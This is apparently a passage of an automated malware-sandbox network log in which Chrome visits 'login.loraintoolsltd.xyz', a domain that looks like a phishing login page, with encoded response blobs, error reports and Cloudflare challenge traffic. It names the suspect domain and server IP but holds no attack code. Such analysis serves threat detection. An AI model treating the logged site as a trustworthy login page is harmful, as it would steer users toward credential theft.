emaPSW2Vdo5pmFdzVZpebHKgWZVylXqgmn6bYYWarKV5sKdzcoaBlm5wloWMlZKOjnOum3zChpeQx8SonH+sp4yokqKcrrLPp9ClzJKVttOyq7bbtOXc4rnY3sOn2q7JvPDc3cD04OPI6M7sze3217q3wtHRBtr52Qre+9ru2fvGyADQ4e8N+OX49BkX5fjoAfbZEgb17hAYAfgE6ePuCf4yAyUD/hMoAyn1Jw75CisREBkMEzwiOh03Cj8bQx4
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 42 4a 45 43 4d 55 4e 46 6b 58 47 42 64 4a 4e 31 35 4a 59 42 35 43 4f 56 70 54 52 7a 63 77 55 56 6c 6e 4f 6b 55 72 4a 54 42 42 51 33 4e 71 63 45 5a 6d 62 44 6c 4e 5a 31 6c 54 65 6a 64 77 58 58 35 37 67 49 4e 36 52 47 5a 39 66 6f 6c 68 57 6f 56 6c 6a 30 65 41 59 6c 52 4f 5a 6b 31 32 6b 4a 65 55 63 35 4e 6e 61 35 71 62 63 33 35 30 6b 48 4f 68 65 6e 2b 44 70 32 53 58 59 47 46 69 6f 4b 2b 48 62 57 2b 33 6f 61 6d 4f 63 62 56 31 65 72 75 64 69 37 6c 34 65 71 43 78 6c 61 43 2b 73 5a 69 6c 70 70 57 63 78 62 6e 41 7a 36 32 4f 77 71 32 53 30 4e 53 36 6d 63 61 63 6b 4e 75 53 77 5a 6d 36 75 37 6d 67 31 4e 4c 6b 74 64 58 42 36 71 65 72 33 38 32 6f 30 65 76 57 31 4e 58 5a 39 74 76 58 2b 2f 7a 6f 38 37 6a 30 36 39 7a 74 33 50 6e 56 34 51 72 6c 31 63 6e 69 2f 51 38 45 7a Data Ascii: BJECMUNFkXGBdJN15JYB5COVpTRzcwUVlnOkUrJTBBQ3NqcEZmbDlNZ1lTejdwXX57gIN6RGZ9folhWoVlj0eAYlROZk12kJeUc5Nna5qbc350kHOhen+Dp2SXYGFioK+HbW+3oamOcbV1erudi7l4eqCxlaC+sZilppWcxbnAz62Owq2S0NS6mcackNuSwZm6u7mg1NLktdXB6qer382o0evW1NXZ9tvX+/zo87j069zt3PnV4Qrl1cni/Q8Ez
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 78 49 31 70 50 48 46 31 56 46 7a 51 2b 49 54 4d 64 56 55 63 38 4b 47 4e 6f 61 43 56 6a 54 55 46 42 61 47 64 7a 53 47 4e 54 5a 32 39 77 62 33 4e 51 61 31 74 67 56 31 78 59 56 59 52 52 57 33 56 61 66 6f 42 59 56 34 39 65 58 47 57 52 55 31 35 39 64 35 56 6a 62 59 70 33 68 48 4a 73 56 58 46 33 6b 5a 4e 62 66 6c 2b 65 63 58 64 79 6f 57 52 31 61 58 79 78 62 6e 42 77 67 6d 2b 32 6f 4c 47 68 75 36 61 4c 6a 6e 56 39 74 48 36 76 71 35 65 4e 77 36 61 5a 67 72 33 48 76 48 2b 74 70 74 47 70 77 73 36 6d 77 61 2f 56 30 63 47 58 78 36 58 55 70 37 4c 4c 77 4a 33 68 30 64 66 65 70 37 76 69 36 64 66 65 76 62 37 64 71 72 2f 62 37 76 57 79 74 4c 50 70 30 62 66 30 74 75 75 77 75 4d 76 37 75 4c 72 51 39 74 66 33 36 50 72 63 31 51 4d 46 33 39 6a 48 42 2b 51 44 79 2f 54 52 38 41 Data Ascii: xI1pPHF1VFzQ+ITMdVUc8KGNoaCVjTUFBaGdzSGNTZ29wb3NQa1tgV1xYVYRRW3VafoBYV49eXGWRU159d5VjbYp3hHJsVXF3kZNbfl+ecXdyoWR1aXyxbnBwgm+2oLGhu6aLjnV9tH6vq5eNw6aZgr3HvH+tptGpws6mwa/V0cGXx6XUp7LLwJ3h0dfep7vi6dfevb7dqr/b7vWytLPp0bf0tuuwuMv7uLrQ9tf36Prc1QMF39jHB+QDy/TR8A
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 55 56 5a 56 56 54 77 69 56 42 34 36 4e 47 67 2f 51 32 4e 4d 59 32 42 45 57 31 74 70 64 47 38 32 61 56 46 4b 4d 56 4a 52 58 6a 68 4c 62 44 67 36 65 6e 52 58 68 6f 52 52 57 49 46 6e 66 34 42 6b 53 6b 64 73 67 34 61 4c 5a 6f 31 67 67 59 6c 77 56 58 56 59 6a 47 42 75 63 70 4a 62 6c 33 52 2f 67 4a 71 59 64 4b 52 35 61 47 74 37 6e 47 68 72 69 4a 53 47 74 34 69 77 69 70 57 55 69 59 35 36 69 4b 6d 78 6d 5a 61 64 67 4c 53 49 6d 5a 69 6c 75 73 4f 65 7a 38 43 5a 6f 4d 6d 76 78 4b 72 45 6c 38 79 6f 30 4b 75 61 33 36 2f 54 73 4d 33 69 30 4e 62 56 32 38 44 6c 78 62 62 4e 75 73 2f 4c 77 4b 50 48 35 62 33 44 7a 39 44 4b 77 72 53 74 31 4e 6a 59 7a 74 37 51 39 2f 41 43 35 4e 72 41 35 41 55 41 31 38 50 6e 79 66 7a 6a 38 50 77 46 45 64 33 6d 36 42 72 59 32 4e 63 4e 33 64 66 Data Ascii: UVZVVTwiVB46NGg/Q2NMY2BEW1tpdG82aVFKMVJRXjhLbDg6enRXhoRRWIFnf4BkSkdsg4aLZo1ggYlwVXVYjGBucpJbl3R/gJqYdKR5aGt7nGhriJSGt4iwipWUiY56iKmxmZadgLSImZilusOez8CZoMmvxKrEl8yo0Kua36/TsM3i0NbV28DlxbbNus/LwKPH5b3Dz9DKwrSt1NjYzt7Q9/AC5NrA5AUA18Pnyfzj8PwFEd3m6BrY2NcN3df
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 7a 64 53 53 6c 59 37 52 47 6c 66 5a 56 70 53 58 6d 6c 4d 63 57 68 48 59 6c 70 6e 54 32 52 53 53 44 64 57 67 45 4a 6a 59 6c 42 64 57 55 5a 48 55 31 68 65 59 6f 4b 4f 53 6f 61 53 5a 57 57 4f 63 46 46 51 5a 6f 4a 74 62 5a 52 34 57 56 68 30 69 6e 56 31 6d 59 42 68 59 48 74 31 6e 5a 32 48 70 6d 65 51 6b 6f 4e 2f 71 6f 46 2b 70 4b 2b 76 6f 37 52 35 73 72 75 48 6a 4a 43 51 6f 71 4b 52 6d 62 36 57 6d 4a 69 71 76 4a 6d 68 78 59 32 67 6f 4c 4c 4d 6f 61 6e 4f 6f 36 4b 61 30 62 71 63 31 38 32 66 73 4c 44 44 6e 71 58 51 70 4f 62 6c 31 71 53 33 35 71 53 6e 76 4d 37 45 34 2b 72 72 78 64 44 6d 38 4d 7a 71 37 76 4c 37 32 73 2f 30 33 66 77 41 35 66 6e 61 41 51 55 43 42 4c 34 45 41 76 6a 64 36 38 72 71 78 68 48 6c 37 68 59 58 44 2f 48 36 32 42 76 7a 2f 75 48 31 45 53 58 62 Data Ascii: zdSSlY7RGlfZVpSXmlMcWhHYlpnT2RSSDdWgEJjYlBdWUZHU1heYoKOSoaSZWWOcFFQZoJtbZR4WVh0inV1mYBhYHt1nZ2HpmeQkoN/qoF+pK+vo7R5sruHjJCQoqKRmb6WmJiqvJmhxY2goLLMoanOo6Ka0bqc182fsLDDnqXQpObl1qS35qSnvM7E4+rrxdDm8Mzq7vL72s/03fwA5fnaAQUCBL4EAvjd68rqxhHl7hYXD/H62Bvz/uH1ESXb
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 56 64 61 69 4a 4a 4c 79 35 66 53 46 46 76 55 43 39 55 4f 46 46 4e 65 44 46 75 54 56 78 79 4f 32 4e 56 68 6e 5a 38 57 6e 56 65 59 6e 70 42 53 58 35 6f 55 56 31 6f 62 47 68 76 63 47 36 61 65 56 56 59 58 6e 4a 33 65 35 39 38 6e 4a 56 65 59 70 78 2b 6e 4b 68 31 66 6f 43 78 63 48 42 77 6a 35 47 31 6f 4c 6d 4f 75 6e 71 61 65 6e 56 39 72 72 79 4f 6c 36 48 41 73 62 71 67 74 70 6d 61 75 37 65 6a 70 36 43 2f 30 4d 4b 54 76 37 2b 50 32 4e 44 4a 70 73 6d 38 76 74 33 4a 30 39 75 68 6c 71 4c 6c 70 72 71 6b 35 75 58 4c 74 65 37 76 77 4d 62 78 35 36 72 66 71 4f 4f 71 31 2f 58 32 7a 72 6e 2b 76 72 72 64 2f 51 53 2b 78 41 58 42 30 4d 4c 71 35 77 6a 46 43 51 72 61 7a 77 4d 4c 37 76 50 54 36 74 4d 4a 37 4f 62 73 31 4e 58 63 38 50 59 68 38 65 38 51 32 42 54 61 48 4f 49 41 43 Data Ascii: VdaiJJLy5fSFFvUC9UOFFNeDFuTVxyO2NVhnZ8WnVeYnpBSX5oUV1obGhvcG6aeVVYXnJ3e598nJVeYpx+nKh1foCxcHBwj5G1oLmOunqaenV9rryOl6HAsbqgtpmau7ejp6C/0MKTv7+P2NDJpsm8vt3J09uhlqLlprqk5uXLte7vwMbx56rfqOOq1/X2zrn+vrrd/QS+xAXB0MLq5wjFCQrazwML7vPT6tMJ7Obs1NXc8PYh8e8Q2BTaHOIAC
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 71 52 6e 4e 4d 65 54 59 78 54 46 42 34 53 57 6c 64 66 6e 70 30 54 33 6c 68 67 49 6c 46 53 45 64 31 6a 6f 70 4e 54 6f 70 52 55 35 46 48 54 49 39 73 62 33 69 52 6d 48 70 64 61 56 35 72 58 4a 4f 66 67 6e 6d 6e 5a 71 69 58 5a 6d 75 65 68 6e 71 78 63 47 2b 44 6e 70 61 69 68 35 43 31 71 37 47 6d 6e 71 71 31 6d 4c 32 30 6c 35 4e 2b 74 62 44 49 78 5a 58 4a 74 71 36 2f 76 49 6a 53 79 35 32 51 6b 39 57 34 79 61 69 6c 79 64 69 56 73 36 7a 61 75 4a 54 52 7a 72 66 6a 75 62 36 33 79 4a 33 42 70 63 47 36 71 4f 47 2b 78 38 6e 6b 73 4d 37 74 30 65 79 78 75 65 2f 4a 38 76 6a 55 39 51 43 36 41 73 58 38 75 75 44 43 33 67 37 71 35 39 7a 4e 32 2b 45 55 31 4e 38 52 31 41 33 70 38 66 41 55 44 2b 6a 65 39 75 7a 75 44 50 6a 37 42 66 63 71 2b 68 72 33 2b 69 67 65 49 67 6f 44 2b 67 Data Ascii: qRnNMeTYxTFB4SWldfnp0T3lhgIlFSEd1jopNTopRU5FHTI9sb3iRmHpdaV5rXJOfgnmnZqiXZmuehnqxcG+Dnpaih5C1q7Gmnqq1mL20l5N+tbDIxZXJtq6/vIjSy52Qk9W4yailydiVs6zauJTRzrfjub63yJ3BpcG6qOG+x8nksM7t0eyxue/J8vjU9QC6AsX8uuDC3g7q59zN2+EU1N8R1A3p8fAUD+je9uzuDPj7Bfcq+hr3+igeIgoD+g
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 54 55 35 78 5a 6c 6f 79 58 6d 73 37 54 58 56 2b 51 6f 56 4a 69 58 64 38 66 58 5a 72 69 31 46 73 54 49 53 46 64 34 6d 54 57 58 53 50 6a 49 32 4a 61 48 31 59 6d 32 43 51 64 32 4a 32 57 6e 36 54 64 59 42 73 65 5a 70 36 6a 5a 4b 4a 70 57 75 50 74 71 71 7a 68 35 57 4f 6c 58 75 38 73 4a 6c 2f 65 59 53 55 6d 4c 61 44 74 4a 75 4a 67 37 65 49 68 35 33 45 72 4b 53 4f 79 61 4f 66 79 4e 69 57 75 4c 54 48 33 37 4b 53 72 39 4f 68 35 4c 37 52 32 4e 62 57 76 65 48 58 37 75 54 4a 33 73 37 6e 71 64 36 79 73 72 4c 42 7a 63 54 58 35 4e 4c 4d 74 64 48 58 38 66 4f 37 33 72 2f 39 79 4e 63 46 2b 64 33 36 39 38 67 52 43 64 4c 7a 36 67 4c 49 31 77 66 31 38 42 7a 62 42 75 38 67 47 67 77 56 32 77 54 32 48 42 50 38 49 41 62 37 48 4f 6e 38 45 41 73 43 49 51 49 78 44 76 50 74 2b 41 63 Data Ascii: TU5xZloyXms7TXV+QoVJiXd8fXZri1FsTISFd4mTWXSPjI2JaH1Ym2CQd2J2Wn6TdYBseZp6jZKJpWuPtqqzh5WOlXu8sJl/eYSUmLaDtJuJg7eIh53ErKSOyaOfyNiWuLTH37KSr9Oh5L7R2NbWveHX7uTJ3s7nqd6ysrLBzcTX5NLMtdHX8fO73r/9yNcF+d3698gRCdLz6gLI1wf18BzbBu8gGgwV2wT2HBP8IAb7HOn8EAsCIQIxDvPt+Ac
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 6c 46 4c 50 6e 74 2f 63 46 42 34 58 46 4e 55 58 30 64 4c 66 32 31 45 68 33 2b 54 64 46 42 55 6b 58 65 46 63 33 42 76 61 35 61 4b 61 70 47 57 64 6d 36 56 68 49 4f 6e 71 4b 5a 31 65 49 65 69 65 33 75 4d 68 33 4b 46 70 61 46 72 62 4c 6d 47 62 34 61 39 71 58 4e 30 77 59 2b 43 6a 70 2b 54 69 4a 4f 35 79 70 36 57 70 73 36 66 6e 61 61 72 7a 5a 2b 6a 30 74 4f 73 74 4a 50 4e 72 38 43 32 31 62 75 72 7a 38 33 46 77 4c 66 71 34 39 33 45 70 73 48 51 35 38 69 2f 79 63 2f 31 39 38 44 52 74 75 6d 78 36 4e 4c 53 38 73 41 42 30 73 45 43 76 66 55 49 43 73 66 4a 2b 75 54 4c 32 2f 7a 77 43 4e 33 6f 38 76 44 7a 31 63 6f 4b 30 52 77 4b 36 51 34 66 33 50 7a 79 46 69 58 31 45 77 58 68 39 52 76 37 39 52 6b 68 42 65 72 6e 44 41 34 46 46 77 67 42 4d 7a 49 4b 4e 66 4d 6f 44 67 73 2f Data Ascii: lFLPnt/cFB4XFNUX0dLf21Eh3+TdFBUkXeFc3Bva5aKapGWdm6VhIOnqKZ1eIeie3uMh3KFpaFrbLmGb4a9qXN0wY+Cjp+TiJO5yp6Wps6fnaarzZ+j0tOstJPNr8C21burz83FwLfq493EpsHQ58i/yc/198DRtumx6NLS8sAB0sECvfUICsfJ+uTL2/zwCN3o8vDz1coK0RwK6Q4f3PzyFiX1EwXh9Rv79RkhBernDA4FFwgBMzIKNfMoDgs/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49756	2.16.164.19	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:49 UTC	434	OUT	OPTIONS /api/report?catId=GW+estsfd+est HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Origin: https://login.loraintoolsltd.xyz Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:50 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Wed, 22 Jan 2025 05:33:49 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-01-22 05:33:50 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49757	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:50 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:50 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 Jan 2025 05:33:50 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: fgMf6ly4knUFSaUB1HJCvRqmsO+Bxj+3UYLLO+Ad6s6oXaOnsIiv17x10Meqqw6+lcxeSOBN610SmNH67c2mmw==$LdHJWizV07Acu5bv3fjiyA== Server: cloudflare CF-RAY: 905d2be5cd0d0c7e-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:50 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	2.16.164.19	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:50 UTC	367	OUT	POST /api/report?catId=GW+estsfd+est HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Content-Length: 446 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:50 UTC	446	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 36 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 46 67 4a 49 6f 52 44 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 33 2e 34 36 2e 38 30 2e 32 31 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f Data Ascii: [{"age":0,"body":{"elapsed_time":366,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://login.loraintoolsltd.xyz/FgJIoRDm","sampling_fraction":1.0,"server_ip":"173.46.80.217","status_code":404,"type":"http.error"},"type":"netwo
2025-01-22 05:34:01 UTC	371	IN	HTTP/1.1 504 Gateway Time-out Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 282 Expires: Wed, 22 Jan 2025 05:34:01 GMT Date: Wed, 22 Jan 2025 05:34:01 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-01-22 05:34:01 UTC	282	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 32 32 31 26 23 34 36 3b 32 64 61 34 31 30 30 32 26 23 34 36 3b 31 37 33 37 35 32 34 30 33 30 26 23 34 36 3b 34 63 31 63 38 38 62 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 32 32 31 26 23 34 36 3b 32 64 61 34 31 30 30 32 26 23 34 36 3b 31 37 33 37 35 32 34 30 33 30 26 23 34 36 3b 34 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #221.2da41002.1737524030.4c1c88b8<P>https://errors.edgesuite.net/221.2da41002.1737524030.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:51 UTC	815	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/905d2bd4e92c7280/1737524029403/12f79e512e0423c748eca4d65abffde3814f14b1a25f6e30ca2f3a987bf6c397/_knKJ7gMC0i7oAY HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:51 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 22 Jan 2025 05:33:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-22 05:33:51 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 45 76 65 65 55 53 34 45 49 38 64 49 37 4b 54 57 57 72 5f 39 34 34 46 50 46 4c 47 69 58 32 34 77 79 69 38 36 6d 48 76 32 77 35 63 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gEveeUS4EI8dI7KTWWr_944FPFLGiX24wyi86mHv2w5cAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-22 05:33:51 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:51 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/d/905d2bd4e92c7280/1737524029404/ffCWwu4GbIMA4Y4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:52 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:52 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 905d2bf06c1841d2-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:52 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4f 00 00 00 56 08 02 00 00 00 01 8f 5c 82 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDROV\IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49763	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:52 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/d/905d2bd4e92c7280/1737524029404/ffCWwu4GbIMA4Y4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:52 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:52 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 905d2bf50e477c9a-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:52 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4f 00 00 00 56 08 02 00 00 00 01 8f 5c 82 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDROV\IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49764	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:53 UTC	1176	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33202 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
